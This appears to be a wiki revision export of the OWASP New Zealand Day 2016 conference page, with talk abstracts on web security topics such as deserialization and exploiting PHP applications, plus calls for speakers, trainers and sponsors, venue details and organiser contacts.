<b>Abstract</b><br />
<br />
KPMG’s Global CEO Outlook Survey (July 2015) showed that 50% of global CEO’s say that their organisations are “not fully prepared” for a “cyber event”. Additionally, information security related risks are perceived to be “the most unpredictable kind of risk”. CEOs and Boards expect the IT function to take care of this aspect of the business risk portfolio - for obvious reasons: they own the IT infrastructure or manage it on behalf of other functions (logistics, operations, HR, accounting, finance, etc.). Unfortunately, nobody has told the marketers.<br />
<br />
In the last 3 to 5 years, marketing departments have taken upon themselves to bring into the organisation a smorgasbord of systems and applications, with little or no consultation with the IT department. The result is an unprecedented increase of infosec and legal risks that few organisations are even aware off, much less managing.<br />
<br />
Our presentation would consist of 15-20 minutes sharing: <br />
<br />
In this presentation we will: (1) Describe briefly the current situation and how we got to it. (2) Give an insight into the mindset of “the marketer” and an explanation of why “marketers” are oblivious to security. (3) Suggest a map of the marketing-related risks for businesses in the 201X going forward into the 202X (4) Offer a prediction of the evolution of the marketing-related risks and its implications for information security professionals. (5) Offer suggestions regarding how these risks should be approached in order to reduce the exposure that the marketing department is bringing to the organisation.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Carlos is a marketing and intelligence consultant. One of his current areas of interest and research is risk in the marketing context.<br />
<br />
<br />
===Andrew Kelly - Insomnia Security - Two-Thirds of the Sacred Triangle===<br />
----<br />
<b>Abstract</b><br />
<br />
"People, Process, and Technology" has been the sacred mantra, or triad, of IT for as long as I've been in the business. Unfortunately, whether you consider it a 'strategy for success', part of your overall 'holistic approach', or even 'the smell of good business', it's too often ignored. That is, two of the three are, as we all race to install faster, cheaper, more efficient, or 'better' technologies, in order to save money, stay ahead of our competitors, or sometimes even just for the sake of it? My talk will, hopefully, remind you that that "People, Process" part is as important as, maybe even more so, than the tech. Or, as Douglas Adams put it: "It is a mistake to think you can solve any major problems just with potatoes."<br />
List of the author's previous papers/articles/speeches on the same/similar topic: Previously, and similar, at ISIG, ISF, OWASP, etc.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Andrew started in InfoSec back when the dinosaur's still ruled the Earth. At least, that's how his fellow InfoSec workers, and often his audiences, view him anyways. But, even though his useful working life is slowly coming to its inevitable end, he reckons he still has a little something to offer his fellow IT professionals. Even if every other sentence these days begins with: "Back in my day..." and most of the others with: "Damned kids..." Between nanny naps, Andrew is still relatively gainfully employed as the GM for Insomnia Security.<br />
<br />
<br />
===Daniel Jensen - Security Assessment - Practical exploitation of less commonly identified vulnerabilities===<br />
----<br />
<b>Abstract</b><br />
<br />
Recently I decided to look for some slightly more<br />
"complex" vulnerabilities in a PHP project. The open source video<br />
platform Kaltura was chosen for no particular reason other than looking<br />
vulnerable and having no prior CVEs. Surprisingly, a large PHP based<br />
project actually contained some fairly serious (and interesting) issues<br />
such as SSRF, object injection, and poor cryptography. This talk will<br />
provide some practical advice for finding less commonly identified<br />
vulnerabilities, their impact, and how to mercilessly exploit them in a<br />
real world application, using Kaltura as our test subject.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Daniel is a consultant at Security-Assessment.com<br />
where he hacks assorted systems and carries out research (read hacks).<br />
Before that he enjoyed a brief stint as a sysadmin, and spent too many<br />
years south of the Cook Strait in a misguided attempt at attending<br />
university. He currently resides in the bustling metropolis that is<br />
Auckland City, and resents having to write his own biography.<br />
<br />
<br />
===Brendan Jamieson - Insomnia Security - Deserialization, what could go wrong?===<br />
----<br />
<b>Abstract</b><br />
<br />
So you're just gonna pass off that data to unserialize()? What could<br />
possibly go wrong?<br />
<br />
This talk is focused on the deserialization class of web application<br />
vulnerabilities. What are they? How are they introduced into web<br />
applications? Just how bad can deserializing that arbitrary object<br />
really be?<br />
<br />
In this talk we'll cover real-world examples of deserialization<br />
vulnerabilities being introduced, and exploited, across a number of<br />
languages. We'll then look at options that are available to developers<br />
to avoid introducing this class of vulnerability into their applications.<br />
<br />
<b>Speaker Bio</b><br />
<br />
Brendan Jamieson is a security consultant for Insomnia Security, based<br />
out of Wellington. He is active in the .nz infosec community, having<br />
spoken at Wellington's ISIG, and involved in Kiwicons as a speaker; a<br />
trainer; and also the event organiser for the Hamiltr0n CTF.<br />
<br />
<br />
===David Waters - Lateral Security - Source Code Reviews: Why You Should===<br />
----<br />
<b>Abstract</b><br />
<br />
In this talk I will give the case that you should be using<br />
security focused code review as part of your defensive strategy.<br />
I will talk about the types of bugs that are more easily found<br />
with either white-box penetration tests or code reviews as opposed<br />
to more limited penetration tests. I will then present some real world<br />
examples of issues found during code reviews.<br />
<br />
<b>Speaker Bio</b><br />
<br />
David is a Senior Security Consultant at Lateral Security, David<br />
previously worked in the Security Team at Google in London and draws<br />
on 16 years experience as a systems and web developer, primarily<br />
working in .NET, Java and JavaScript.<br />
<br />
<br />
<!--= Call For Presentations =<br />
==Call For Presentations==<br />
<br />
OWASP New Zealand Day conferences attract a high quality of speakers from a variety of security disciplines including<br />
architects, web developers and engineers, system administrators, penetration testers, policy specialists and more.<br />
<br />
<br />
We would like a variety of technical levels in the presentations submitted, corresponding to the three sections of the conference:<br />
<br />
* Introductions to various Web Application Security topics, and the OWASP projects<br />
* Technical topics<br />
* Policy, Compliance and Risk Management<br />
<br />
<br />
The introductory talks should appeal to an intermediate to experienced web developer, without a solid grounding in web application security or knowledge of the OWASP projects. These talks should be engaging, encourage developers to learn more about web application security, and give them techniques that they can immediately return to work and apply to their jobs.<br />
<br />
Technical topics in the afternoon should appeal to two audiences - experienced web application security testers or researchers, and web developers who have a “OWASP Top Ten” level of understanding of web attacks and defenses. You could present a lightning, short or long talk on something you have researched, developed yourself, or learnt in your travels. Ideally the topics will have technical depth or novelty so that the majority of attendees learn something new.<br />
<br />
For the “Management Stream” in the afternoon we would like to invite talks that will appeal to those interested in the various non-technical topics that are important in our industry. These talks could focus on the development of policies, dealing with compliance obligations, managing risks within an enterprise, or other issues that could appeal to those in management roles.<br />
<br />
<br />
We encourage presentations to have a strong component on fixing and prevention of security issues. We are looking for presentations on a wide variety of security topics, including but not limited to:<br />
<br />
<br />
* Web application security<br />
* Mobile security<br />
* Secure development<br />
* Vulnerability analysis<br />
* Threat modelling<br />
* Application exploitation<br />
* Exploitation techniques<br />
* Threat and vulnerability countermeasures<br />
* Platform or language security (JavaScript, NodeJS, .NET, Java, RoR, etc)<br />
* Penetration Testing<br />
* Browser and client security<br />
* Application and solution architecture security<br />
* PCI DSS<br />
* Risk management<br />
* Security concepts for C*Os, project managers and other non-technical attendees<br />
* Privacy controls<br />
<br />
<br />
The email subject must be "OWASP New Zealand 2016: CFP" and the email body must contain the following information/sections:<br />
<br />
<br />
* Name and Surname<br />
* Affiliation<br />
* Telephone number<br />
* Email address<br />
* Short presenter bio<br />
* Title of the contribution<br />
* Type of contribution: Technical, Informative, Management<br />
* Suggested length for the talk<br />
* Short abstract (up to 500 words)<br />
* List of the author's previous papers/articles/speeches on the same/similar topic (if any)<br />
* If you are not from New Zealand, will your company support your travel/accommodation costs? - Yes/No<br />
<br />
<br />
The submission will be reviewed by the OWASP New Zealand Day conference committee and the highest voted talks will be selected and invited for presentation.<br />
<br />
<br />
PLEASE NOTE:<br />
<br />
* Due to limited budget available, expenses for international speakers cannot be covered.<br />
* If your company is willing to cover travel and accommodation costs, the company will become "Support Sponsor" of the event.<br />
<br />
Please submit the above information to all of the following: Denis Andzakovic (denis.andzakovic@owasp.org), Adrian Hayes (adrian.hayes@owasp.org) and Kim Carter (kim.carter@owasp.org).<br />
<br />
<br />
<b>Submissions deadline: 7th December 2015</b><br />
<br />
= Call For Trainers =<br />
== Call For Trainers ==<br />
<br />
We are happy to announce that training will run on Wednesday February 3rd 2016, the day before the OWASP Day conference.<br />
The training venue will be Level 0, Room: 40C, kindly provided by the University of Auckland School of Commerce, in the same building as the OWASP NZ Day conference itself.<br />
Classes will contain up to 48 students, with power for laptop usage and Wi-Fi. A wide range of half-day or full-day training proposals will be considered,<br />
see the Call for Papers for a list of example topics.<br />
<br />
If you are interested in running one of the training sessions, please contact Denis Andzakovic, Adrian Hayes and Kim Carter with the following information:<br />
<br />
<br />
* Trainer name<br />
* Trainer organisation<br />
* Telephone + email contact<br />
* Short Trainer bio<br />
* Training title<br />
* Trainer requirements (e.g. a projector, whiteboard, etc)<br />
* Trainee requirements (e.g. laptop, VMware/VirtualBox, etc)<br />
* Training summary (less than 500 words)<br />
* Target audience (e.g. testers, project managers, security managers, web developers, architects)<br />
* Skill level required (Basic / Intermediate / Advanced)<br />
* What attendees can expect to learn (key objectives)<br />
* Short course outline<br />
<br />
<br />
The fixed price per head for training will be $250 for a half-day session and $500 for a whole-day session. As this training is part of an OWASP event, part of the proceeds go back to OWASP. The split is as follows:<br />
<br />
* 25% to OWASP Global - used for OWASP projects around the world<br />
* 25% to OWASP NZ Day - used for expenses such as catering during the conference<br />
* 50% to the training provider.<br />
<br />
<br />
Please submit the above information to all of the following:<br />
* Denis Andzakovic (denis.andzakovic@owasp.org)<br />
* Adrian Hayes (adrian.hayes@owasp.org)<br />
* Kim Carter (kim.carter@owasp.org).<br />
<br />
Submissions deadline: 7th December 2015<br />
<br />
<br />
<br />
= Call For Sponsorships =<br />
==Call For Sponsorships==<br />
<br />
OWASP New Zealand Day 2016 will be held in Auckland on the 4th of February, 2016 and is a security conference entirely dedicated to application security.<br />
The conference is once again being hosted by the University of Auckland with their support and assistance.<br />
OWASP New Zealand Day 2016 is a free event, but requires sponsor support to help be an instructive and quality event for the New Zealand community.<br />
OWASP is strictly not for profit. The sponsorship money will be used to help make OWASP New Zealand Day 2016 a free, compelling, and valuable experience for all attendees.<br />
<br />
<br />
The sponsorship funds collected are to be used for things such as:<br />
<br />
* Refreshments (coffee breaks) - we want to keep people refreshed during the day.<br />
* Name tags - we feel that getting to know people within the New Zealand community is important, and name tags make that possible.<br />
* Promotion - up to now our events are propagating by word of mouth. We would like to get to a wider audience by advertising our events.<br />
* Printed Materials - printed materials will include brochures, tags and lanyards.<br />
<br />
== Facts ==<br />
<br />
Last year, the event was supported by eight sponsors and attracted more than 230 participants. Plenty of constructive (and positive!) feedback from the audience was received and we are using this to make the conference more appealing to more people. For more information on the last New Zealand Day event, please visit: https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015<br />
<br />
The OWASP New Zealand community is strong, there are more than 410 people currently subscribed to the mailing-list. OWASP New Zealand Day is expected to attract between 400 and 500 attendees this year.<br />
<br />
OWASP regular attendees are IT project managers, IT security managers, IT security consultants, web application architects and developers, QA managers, QA testers and system administrators.<br />
<br />
== Sponsorships ==<br />
<br />
There are three different levels of sponsorships for the OWASP Day event:<br />
<br />
<br />
<b>Support Sponsorship</b>: (Covering international speaker travel expenses, media coverage/article/promotion of the event)<br />
<br />
Includes:<br />
<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
<br />
<br />
<b>Silver Sponsorship</b>: 1500 NZD<br />
<br />
Includes: <br />
<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.<br />
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.<br />
<br />
<br />
<b>Gold Sponsorship</b>: 2750 NZD<br />
<br />
Includes: <br />
<br />
* The possibility to have a promotional banner or sign side stage in the main auditorium (to be provided by the sponsor, size subject to approval by the OWASP NZ Day Committee).<br />
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.<br />
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.<br />
* Publication of the sponsor logo on the OWASP New Zealand Chapter page - Sponsor logo on the OWASP NZ site prior and during the OWASP Day event - https://www.owasp.org/index.php/New_Zealand<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
<br />
<br />
Those who are interested in sponsoring OWASP New Zealand 2016 Conference can contact the [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org?cc=denis.andzakovic@owasp.org OWASP New Zealand Board].<br><br />
--><br />
<br />
<headertabs/><br />
<br />
[[Category:OWASP AppSec Conference]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&diff=202053OWASP New Zealand Day 20162015-10-12T20:52:54Z<p>Dan Wallis: syntax for mailto: URL</p>
<hr />
<div>__NOTOC__<br />
<center><br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]<br><br><br />
'''3rd and 4th Feburary 2016 - Auckland'''<br />
</center><br />
----<br />
<br />
= Introduction =<br />
==Introduction==<br />
We are proud to announce the seventh OWASP New Zealand Day conference, to be held at the University of Auckland on Thursday February 4th, 2016. OWASP New Zealand Day is a one-day conference dedicated to application security, with an emphasis on secure architecture and development techniques to help Kiwi developers build more secure applications.<br />
<br />
<br />
Who is it for?<br />
<br />
* Web Developers: The morning sessions will introduce you to application security. Afternoon sessions will dive deeper into technical topics, and build on the morning sessions.<br />
* Management: After an introduction to web application security, one of the afternoon streams will focus on policy, compliance and risk management.<br />
* Security Professionals and Enthusiasts: Technical sessions later in the day will showcase new and interesting attack and defence topics.<br />
<br />
==Conference structure==<br />
<br />
Date: Thurs 4 Feb 2016<br><br />
Time: 9:00am - 5:00pm<br><br />
Cost: Free<br><br />
Food: Morning and Afternoon tea<br />
<br />
The main conference is on Thursday 4th of February, and will have three streams:<br />
<br />
<br />
<table style="border:1px solid black;"><br />
<tr><br />
<td width="10%" style="text-align:center; border:1px solid black">Morning</td><br />
<td width="90%" colspan="2" style="border:1px solid black; padding: 0px 0px 0px 12px;">Introductions to application security topics</td><br />
</tr><br />
<tr><br />
<td width="10%" style="text-align:center; border:1px solid black;">Afternoon</td><br />
<td width="45%" style="border:1px solid black; padding: 0px 0px 0px 12px;">Deeply technical topics</td><br />
<td width="45%" style="border:1px solid black; padding: 0px 0px 0px 12px;">Policy, Compliance, and Risk Management</td> <br />
</tr><br />
</table><br />
<br />
==Training==<br />
<br />
Date: Wed 3 Feb 2016<br><br />
Time: 9:00am - 5:00pm or part thereof<br><br />
Cost: To be advised<br><br />
Food: Lunch provided<br />
<br />
As well as the main conference on Thursday, we are pleased to be able to provide training on Wednesday at a discounted price. We anticipate a selection of introductory and advanced training topics.<br />
<!--<br />
Training sessions will be announced by XXX, and will be held at the same venue on Wednesday 3 February.<br />
--><br />
<br />
<br />
The seventh OWASP New Zealand Day will be happening thanks to the support provided by the University of Auckland, which will kindly offer a slightly different location from last year. Entry to the event will, as in the past, be free.<br />
<br />
<br />
For any comments, feedback or observations, please don't hesitate to contact [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org&cc=denis.andzakovic@owasp.org us].<br><br />
<br />
==Registration==<br />
<br />
Registration is not yet open. Please join our low volume [https://lists.owasp.org/mailman/listinfo/owasp-newzealand mailing list] to be notified when registration opens.<br />
<br />
<!--<br />
Registration for the main conference day is now open: [https://registration.owasp.org.nz/ Conference Registration Here]<br />
<br />
There is no cost for the main conference day. Morning and afternoon tea will be provided. Unfortunately due to increased conference running costs, lunch will not be provided as it has been for the past OWASP NZ Days. We do ask that if at any point you realise you cannot make it please cancel your registration to make room for others as spaces are limited.<br />
<br />
<br />
Training Registration is now open: [http://www.regonline.com/owaspnzday2016trainingandsponsorship Training Registration]<br />
--><br />
<br />
<!--<br />
Registration is now closed.<br />
--><br />
<br />
==Important dates==<br />
<br />
* CFP & CFT submission deadline: 7th December 2015<br />
* Conference Registration deadline: 21st January 2016<br />
* Training Registration deadline: 21st January 2016<br />
* Training Day date: 3rd February 2016<br />
* Conference Day date: 4th February 2016<br />
<br />
<!--<br />
For those of you booking flights, ensure you can be at the venue at 8:30am, the conference will end by 5:30pm however we will have post conference drinks at a local drinking establishment for those interested.<br />
--><br />
<br />
==Conference Venue==<br />
<br />
<table width="100%"><br />
<tr><br />
<td><br />
<br />
The University of Auckland School of Commerce<br><br />
Address: 12 Grafton Road<br><br />
<br><br />
Main conference room: Level 1<br><br />
Room: 115 (Fisher & Paykel Auditorium)<br><br />
<br><br />
Afternoon parallel stream: Level 0<br><br />
Room: B5<br><br />
<br><br />
Auckland<br><br />
New Zealand<br><br />
[https://www.google.com/maps/place/Owen+G+Glenn+Building+12+Grafton+Road/@-36.8528203,174.770224,17z/data=!4m6!1m3!3m2!1s0x0000000000000000:0x0205ad91287ba364!2sUniversity+of+Auckland+Graduate+School+of+Enterprise!3m1!1s0x0000000000000000:0xc9d224e5921a6690 Map]<br />
</td><br />
<td><br />
[[Image:073_AUBiz_10Apr08small.jpg]] [[Image:MG_0037small.JPG]]<br />
</td><br />
</tr><br />
</table><br />
<br />
==Conference Sponsors==<br />
<table width="100%" border="0" cellspacing="1" cellpadding="1"><br />
<tr><br />
<td valign="bottom" width="50%"><center>[http://www.auckland.ac.nz/ https://www.owasp.org/images/8/82/University_of_Auckland_crest_small.png]</center></td><br />
<td valign="bottom" width="50%"><center>[http://www.security.org.nz/NZISF_NZISForumContent.php https://www.owasp.org/images/5/5a/Nz_information_security_forum.png]</center></td><br />
</tr><br />
<tr><br />
<td valign="top" width="50%"><center>ICT and Department of Information Systems and Operations Management</center></td><br />
<td valign="top" width="50%">&nbsp;</td><br />
</tr><br />
</table><br />
----<br />
<br />
<br />
<br />
==Conference Committee==<br />
<br />
* Denis Andzakovic - OWASP New Zealand Leader (Auckland)<br />
* Adrian Hayes - OWASP New Zealand Leader (Wellington)<br />
* Kim Carter - OWASP New Zealand Leader (Christchurch)<br />
* Lech Janczewski - Associate Professor - University of Auckland School of Business<br />
<br />
Please direct all enquiries to denis.andzakovic@owasp.org | adrian.hayes@owasp.org | kim.carter@owasp.org<br />
<br />
<br />
<br />
= Call For Presentations =<br />
==Call For Presentations==<br />
<br />
OWASP New Zealand Day conferences attract a high quality of speakers from a variety of security disciplines including<br />
architects, web developers and engineers, system administrators, penetration testers, policy specialists and more.<br />
<br />
<br />
We would like a variety of technical levels in the presentations submitted, corresponding to the three sections of the conference:<br />
<br />
* Introductions to various Web Application Security topics, and the OWASP projects<br />
* Technical topics<br />
* Policy, Compliance and Risk Management<br />
<br />
<br />
The introductory talks should appeal to an intermediate to experienced web developer, without a solid grounding in web application security or knowledge of the OWASP projects. These talks should be engaging, encourage developers to learn more about web application security, and give them techniques that they can immediately return to work and apply to their jobs.<br />
<br />
Technical topics in the afternoon should appeal to two audiences - experienced web application security testers or researchers, and web developers who have a “OWASP Top Ten” level of understanding of web attacks and defenses. You could present a lightning, short or long talk on something you have researched, developed yourself, or learnt in your travels. Ideally the topics will have technical depth or novelty so that the majority of attendees learn something new.<br />
<br />
For the “Management Stream” in the afternoon we would like to invite talks that will appeal to those interested in the various non-technical topics that are important in our industry. These talks could focus on the development of policies, dealing with compliance obligations, managing risks within an enterprise, or other issues that could appeal to those in management roles.<br />
<br />
<br />
We encourage presentations to have a strong component on fixing and prevention of security issues. We are looking for presentations on a wide variety of security topics, including but not limited to:<br />
<br />
<br />
* Web application security<br />
* Mobile security<br />
* Secure development<br />
* Vulnerability analysis<br />
* Threat modelling<br />
* Application exploitation<br />
* Exploitation techniques<br />
* Threat and vulnerability countermeasures<br />
* Platform or language security (JavaScript, NodeJS, .NET, Java, RoR, etc)<br />
* Penetration Testing<br />
* Browser and client security<br />
* Application and solution architecture security<br />
* PCI DSS<br />
* Risk management<br />
* Security concepts for C*Os, project managers and other non-technical attendees<br />
* Privacy controls<br />
<br />
<br />
The email subject must be "OWASP New Zealand 2016: CFP" and the email body must contain the following information/sections:<br />
<br />
<br />
* Name and Surname<br />
* Affiliation<br />
* Telephone number<br />
* Email address<br />
* Short presenter bio<br />
* Title of the contribution<br />
* Type of contribution: Technical, Informative, Management<br />
* Suggested length for the talk<br />
* Short abstract (up to 500 words)<br />
* List of the author's previous papers/articles/speeches on the same/similar topic (if any)<br />
* If you are not from New Zealand, will your company support your travel/accommodation costs? - Yes/No<br />
<br />
<br />
The submission will be reviewed by the OWASP New Zealand Day conference committee and the highest voted talks will be selected and invited for presentation.<br />
<br />
<br />
PLEASE NOTE:<br />
<br />
* Due to limited budget available, expenses for international speakers cannot be covered.<br />
* If your company is willing to cover travel and accommodation costs, the company will become "Support Sponsor" of the event.<br />
<br />
Please submit the above information to all of the following: Denis Andzakovic (denis.andzakovic@owasp.org), Adrian Hayes (adrian.hayes@owasp.org) and Kim Carter (kim.carter@owasp.org).<br />
<br />
<br />
<b>Submissions deadline: 7th December 2015</b><br />
<br />
= Call For Trainers =<br />
== Call For Trainers ==<br />
<br />
We are happy to announce that training will run on Wednesday February 3rd 2016, the day before the OWASP Day conference.<br />
The training venue will be Level 0, Room: 40C, kindly provided by the University of Auckland School of Commerce, in the same building as the OWASP NZ Day conference itself.<br />
Classes will contain up to 48 students, with power for laptop usage and Wi-Fi. A wide range of half-day or full-day training proposals will be considered,<br />
see the Call for Papers for a list of example topics.<br />
<br />
If you are interested in running one of the training sessions, please contact Denis Andzakovic, Adrian Hayes and Kim Carter with the following information:<br />
<br />
<br />
* Trainer name<br />
* Trainer organisation<br />
* Telephone + email contact<br />
* Short Trainer bio<br />
* Training title<br />
* Trainer requirements (e.g. a projector, whiteboard, etc)<br />
* Trainee requirements (e.g. laptop, VMware/VirtualBox, etc)<br />
* Training summary (less than 500 words)<br />
* Target audience (e.g. testers, project managers, security managers, web developers, architects)<br />
* Skill level required (Basic / Intermediate / Advanced)<br />
* What attendees can expect to learn (key objectives)<br />
* Short course outline<br />
<br />
<br />
The fixed price per head for training will be $250 for a half-day session and $500 for a whole-day session. As this training is part of an OWASP event, part of the proceeds go back to OWASP. The split is as follows:<br />
<br />
* 25% to OWASP Global - used for OWASP projects around the world<br />
* 25% to OWASP NZ Day - used for expenses such as catering during the conference<br />
* 50% to the training provider.<br />
<br />
<br />
Please submit the above information to all of the following:<br />
* Denis Andzakovic (denis.andzakovic@owasp.org)<br />
* Adrian Hayes (adrian.hayes@owasp.org)<br />
* Kim Carter (kim.carter@owasp.org).<br />
<br />
Submissions deadline: 7th December 2015<br />
<br />
<br />
<br />
= Call For Sponsorships =<br />
==Call For Sponsorships==<br />
<br />
OWASP New Zealand Day 2016 will be held in Auckland on the 4th of February, 2016 and is a security conference entirely dedicated to application security.<br />
The conference is once again being hosted by the University of Auckland with their support and assistance.<br />
OWASP New Zealand Day 2016 is a free event, but requires sponsor support to help be an instructive and quality event for the New Zealand community.<br />
OWASP is strictly not for profit. The sponsorship money will be used to help make OWASP New Zealand Day 2016 a free, compelling, and valuable experience for all attendees.<br />
<br />
<br />
The sponsorship funds collected are to be used for things such as:<br />
<br />
* Refreshments (coffee breaks) - we want to keep people refreshed during the day.<br />
* Name tags - we feel that getting to know people within the New Zealand community is important, and name tags make that possible.<br />
* Promotion - up to now our events are propagating by word of mouth. We would like to get to a wider audience by advertising our events.<br />
* Printed Materials - printed materials will include brochures, tags and lanyards.<br />
<br />
== Facts ==<br />
<br />
Last year, the event was supported by eight sponsors and attracted more than 230 participants. Plenty of constructive (and positive!) feedback from the audience was received and we are using this to make the conference more appealing to more people. For more information on the last New Zealand Day event, please visit: https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015<br />
<br />
The OWASP New Zealand community is strong, there are more than 410 people currently subscribed to the mailing-list. OWASP New Zealand Day is expected to attract between 400 and 500 attendees this year.<br />
<br />
OWASP regular attendees are IT project managers, IT security managers, IT security consultants, web application architects and developers, QA managers, QA testers and system administrators.<br />
<br />
== Sponsorships ==<br />
<br />
There are three different levels of sponsorships for the OWASP Day event:<br />
<br />
<br />
<b>Support Sponsorship</b>: (Covering international speaker travel expenses, media coverage/article/promotion of the event)<br />
<br />
Includes:<br />
<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
<br />
<br />
<b>Silver Sponsorship</b>: 1500 NZD<br />
<br />
Includes: <br />
<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.<br />
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.<br />
<br />
<br />
<b>Gold Sponsorship</b>: 2750 NZD<br />
<br />
Includes: <br />
<br />
* The possibility to have a promotional banner or sign side stage in the main auditorium (to be provided by the sponsor, size subject to approval by the OWASP NZ Day Committee).<br />
* The publication of the sponsor logo in the event site, in the agenda, on the handouts and in all the official communications with the attendees at the conference.<br />
* The possibility to distribute the company brochures, CDs or other materials to the participants during the event.<br />
* Publication of the sponsor logo on the OWASP New Zealand Chapter page - Sponsor logo on the OWASP NZ site prior and during the OWASP Day event - https://www.owasp.org/index.php/New_Zealand<br />
* Publication of the sponsor logo on the event web site - https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016<br />
<br />
<br />
Those who are interested in sponsoring OWASP New Zealand 2016 Conference can contact the [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org?cc=denis.andzakovic@owasp.org OWASP New Zealand Board].<br><br />
<br />
<br />
<headertabs/><br />
<br />
[[Category:OWASP AppSec Conference]]</div>Dan Wallis